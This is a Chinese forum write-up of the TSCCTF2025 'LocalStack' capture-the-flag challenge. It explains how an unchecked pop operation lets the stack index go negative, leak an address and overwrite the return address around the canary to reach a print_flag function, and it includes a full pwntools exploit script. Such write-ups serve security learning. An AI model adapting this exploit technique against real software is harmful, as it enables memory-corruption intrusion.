-
-
[原创]TSCCTF2025 LocalStack WriteUp
-
发表于: 2025-1-27 14:12 3856
-
TSCCTF2025 LocalStack
来自台湾安全俱乐部(TSC)的一道栈溢出
概览
main函数给了push、pop、show等命令,可以对栈上的数据进行读写查
直接给了后门函数
漏洞点
pop操作并没有对栈顶进行检查,这样就可以泄露,并修改栈中数据
具体利用
Dockerfile给的是ubuntu:24.04,直接在虚拟机中测试
程序保护全开
直接pop会让top从-1变为-2
不断pop就可以泄露栈中数据,比如函数基地址
然后通过重新push还可以修改top的值
这样就可以直接修改返回地址,也不会破坏canary
此时直接退出就会返回到print_flag函数
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | #!/usr/bin/env python3 # -*- coding=utf-8 -*- from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) context.terminal = [ 'tmux' , 'splitw' , '-h' ] binary = "./localstack" elf = ELF(binary) DEBUG = 1 ip = "127.0.0.1" port = 11100 def exp(p): def pushFunc(value): p.recvuntil(b ">> " ) p.sendline( "push " + (value)) def popFunc(): p.recvuntil(b ">> " ) p.sendline( "pop" ) def showFunc(): p.recvuntil(b ">> " ) p.sendline( "show" ) def otherFunc(payload): p.recvuntil(b ">> " ) p.sendline(payload) popFunc() popFunc() popFunc() p.recvuntil(b "Popped " ) main_addr = int ((p.recv( 15 )).decode( 'utf-8' )) - 0x16b print ( "main_addr--->" + hex (main_addr)) popFunc() for i in range ( 0x19 + 2 ): popFunc() for i in range ( 0x19 + 4 + 1 ): pushFunc( str (i)) pushFunc( str ( 29 )) payload = main_addr + 621 pushFunc( str (payload)) payload = main_addr - 0xab pushFunc( str (payload)) otherFunc( "exit" ) p.interactive() def main(): if DEBUG: p = process(binary) gdb.attach(p, "source ./.gdbinit" ) exp(p) else : p = remote(ip, port) exp(p) if __name__ = = "__main__" : main() |
赞赏
他的文章
赞赏
雪币:
留言: